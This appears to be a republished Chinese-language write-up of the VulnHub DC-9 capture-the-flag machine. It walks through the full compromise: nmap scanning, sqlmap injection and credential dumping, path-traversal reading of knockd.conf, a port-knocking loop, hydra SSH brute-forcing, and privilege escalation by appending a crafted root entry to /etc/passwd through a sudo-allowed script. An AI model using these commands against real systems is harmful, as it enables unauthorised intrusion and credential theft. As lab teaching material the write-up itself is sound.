vulnhub之DC-9靶机渗透详细过程
2022-1-28 22:21:0 Author: www.freebuf.com(查看原文) 阅读量:5 收藏

使用nmap扫描C段发现靶机ip

nmap 192.168.26.0/24

发现靶机ip为 192.168.26.136 本次使用kali2020,kali IP为192.168.26.20

使用nmap扫描靶机具体信息

nmap -sS -sV -T4 -A -p- 192.168.26.137

也没发现什么有用的信息,然后访问80端口

靶机IP: 192.168.26.137

kali IP: 192.168.26.20

对登录框注入失败,尝试对搜索框注入


我是直接bp抓包,然后再搜索框输入的数据后面加*直接用sqlmap跑数据包注入的,直接获取到了

sqlmap -r dc-9.txt --batch

图片.png

发现存在sql注入,于是sqlmap一把梭

sqlmap -r dc-9.txt --batch --dbs

图片.png

sqlmap -r dc-9.txt --batch -D users --tables

图片.png

sqlmap -r dc-9.txt --batch -D users -T UserDetails --columns

图片.png

sqlmap -r dc-9.txt --batch -D users -T UserDetails -C "id,firstname,username,password" --dump

图片.png

尝试用获取到的密码登录,发现无法登录,然后尝试获取其他数据库的信息,步骤同上,然后获取到了admin用户加密后的密码,看起来是md5尝试解密

图片.png

图片.png

发现可以解密,admin的密码:transorbital1 于是我们拿得到的账号密码登录到后台,在manage页面发现了File does not exist,感觉是文件包含

图片.png

尝试读取文件,发现可以读取到文件,尝试读取日志文件,发现读取不到,百度了一番,发现可以使用端口敲门,开启ssh服务22端口

图片.png

参考: https://blog.csdn.net/nzjdsds/article/details/112476120

需要按照指定顺序敲击端口,如果敲击的端口和顺序正确,防火墙会更改策略对该访问ip放行,来达到访问效果

访问下knockd配置文件

?file=../../../../etc/knockd.conf

图片.png

[options] 
		UseSyslog 			
[openSSH] 	
		sequence = 7469,8475,9842   # 打开ssh 22访问的三个操作端口 ;
		seq_timeout = 25 
		command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT  # //-i 命令是将规则插入到最前面,最先生效,以防止过滤所有端口的情况将此条规则吃掉
		tcpflags = syn 
			
[closeSSH] 
		sequence = 9842,8475,7469  	# 关闭ssh 22访问的三个操作端口
		seq_timeout = 25 
		command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT # //SSH使用完后,再将22端口“保护”起来
		tcpflags = syn 
###################################################################################################################
解释:

Options:你可以在此字段中找到knockd的配置选项。正如你在上面屏幕截图中所看到,它使用syslog进行日志记录。

OpenSSH:该字段包括序列、序列超时、命令和tcp标志。

Sequence:它显示可由客户软件用作启动操作的模式的端口序列(打开ssh 或者关闭ssh,,关闭操作的端口序列跟 打开操作的序列相反。)。

Sequence timeout:它显示分配给客户端以完成所需的端口试探序列的总时间。

command:这是一旦客户软件的试探序列与序列字段中的模式,执行的命令。 TCP_FLAGS:这是必须针对客户软件发出的试探设置的标志。如果标志不正确,但试探模式正确,不会触发动作。

依次访问 打开操作的端口序列 7469、8475、9842 完成“敲门”操作,就可以用ssh登录了
###################################################################################################################
可以使用以下三条命令挨个敲击端口
nmap -p 7469 172.66.66.139
nmap -p 8475 172.66.66.139
nmap -p 9842 172.66.66.139
#但是因为有超时限制,加快命令的输入速度也可以写个python的 for in 循环来访问,如下:
for x in 7469 8475 9842;do nmap -Pn --max-retries 0 -p $x 192.168.26.137;done

将我们上面获取到的账号和密码分别保存到两个文件中,使用hydra尝试进行ssh登录,看那个账号支持ssh登录

hydra -L dc-9username.txt -P dc-9password.txt ssh://192.168.26.137

图片.png

发现三个账号可以使用ssh登录,登录前两个都没发现什么问题,登录到janitor账号后在/home/janitor目录下发现隐藏文件

图片.png

在janitor中发现了几个密码,加到我们的密码字典中

然后再次使用hydra爆破发现了第四个可以用ssh登录的账号和密码

图片.png

登录后sudo -l发现test文件有root权限

图片.png

切换到test目录看下,找下这个test.py,在/opt/devstuff目录下,脚本的作用就是将第一个文件的内容附加到另一个文件里面去

图片.png

在etc/passwd文件里进行写入账号密码

运行脚本的时候最好切换到test目录下,test.py的路径为绝对路径

openssl passwd -1 -salt dc 123456
echo 'dc:$1$dc$5uDk4oYnRiBs0fFGlcRwy.:0:0:root:/bin/bash' >> /tmp/dc
sudo ./test /tmp/dc /etc/passwd

图片.png

写入完成后登录到我们创建的新账号

在root目录下获取flag

图片.png


文章来源: https://www.freebuf.com/articles/web/321144.html
如有侵权请联系:admin#unsafe.sh